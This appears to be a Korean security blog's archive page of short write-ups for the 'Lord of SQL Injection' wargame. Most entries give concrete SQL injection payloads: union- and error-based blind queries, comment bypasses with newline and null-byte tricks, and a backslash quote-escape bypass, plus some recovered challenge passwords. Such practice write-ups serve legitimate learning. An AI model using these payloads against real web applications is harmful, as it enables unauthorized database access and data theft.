일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- CTF-d
- vulnhub
- ctf
- igoat
- Volatility
- frida
- beebox
- Openstack
- MFT
- XSS
- base64
- diva
- Suninatas
- NTFS
- ESXi
- 안드로이드
- foremost
- otter
- lord of sql injection
- kibana
- Docker
- Strings
- Reflected XSS
- 파이썬
- SQL Injection
- 인시큐어뱅크
- 2018
- logstash
- elasticsearch
- InsecureBank
- Today
- Total
목록lord of sql injection (15)
Information Security
ⓐ flag의 값을 필터링 ⓑ 현재 로그인 session을 가지고 flag를 가져옴 ⓒ 임시 테이블을 생성하고 원래 테이블의 자신의 session에 대한 내용을 그대로 옮김 ⓓ 임시 테이블에 flag 값을 update ⓔ 임시 테이블의 flag 값을 가져옴 ⓕ session에 대한 flag값이 없거나, 원래 테이블의 flag값과 입력한 flag 값이 다르면 flag reset ( reset_flag()함수를 통해서 ) ⓖ 원래 테이블의 flag값과 입력한 flag값이 동일하면 문제 해결 ?flag=''' 입력 시 rest ok FLAG 값이 rest 된 것을 알 수 있다. 1. flage의 값이 100글자를 넘기지 말 것 2. flag가 갱신되지 않도록 update 쿼리문에서 에러를 발생시킬 것 3. ,..
?pw=''' 입력 시 빈 페이지를 보여주는 것을 알 수 있다. if문을 사용할 수 없게 되어 union을 이용하여 pw=' or id='admin' and (select 1 union selec 2 (length(pw)=10)) # 입력 시 빈 페이지를 보여주는 것을 알 수 있다. pw=' or id='admin' and (select 1 union selec 2 (length(pw)=8)) # 입력 시 메시지가 보이는 것을 알 수 있다. ?pw=5a2f5d3c 입력 시 해결되는 것을 알 수 있다.
Error Based Blind SQL Injection MySQL에서 if() 함수를 사용하면 참일 때와 거짓일 때 에러를 구분하여 발생시킬 수 있게 만들 수 있습니다. if(1=2, 'True', 'False'); False if(1=1, 'True','Fasle)'); True ?pw=''' 입력 시 아래와 같은 에러가 발생한다. ?pw=1%27 or if(length(pw)=15,(select 1 union select 2),1)%23 입력 시 아무런 메시지가 보이지 않았다. ?pw=1%27 or if(length(pw)=16,(select 1 union select 2),1)%23 입력 시 Subquery retruns more than 1 row 메시지를 확인할 수 있다. ?pw=!!!! 입력..
#은 한 줄 주석이므로 %0a를 이용해 줄을 바꾼 후 pw=%0a and pw='' or id='admin' # 입력 시 해결되는 것을 알 수 있다.
?pw=' or length(pw) 출력 결과 : 3000 ord 함수 특정한 한 문자를 아스키코드 값으로 변환해 주는 함수 chr 함수 아스키 코드 값을 문자로 변환해 주는 함수 ?pw=¸ùÅ°ÆÐÄ¡¤» 입력 시 해결되는 것을 알 수 있다.
주석 우회 #, --, ;%00, /**/ MySQL 쿼리는 ;%00 null 일 때 멈추게 되서 ?pw=%27);%00 입력 시 해결되는 것을 알 수 있다.
싱글 쿼터(') 앞에 백 슬래시(\)를 입력하면 싱글 쿼터(')는 문자로 인식된다. id=\&pw="1" or 1=1--%20 입력 시 풀리는 것을 알 수 있다.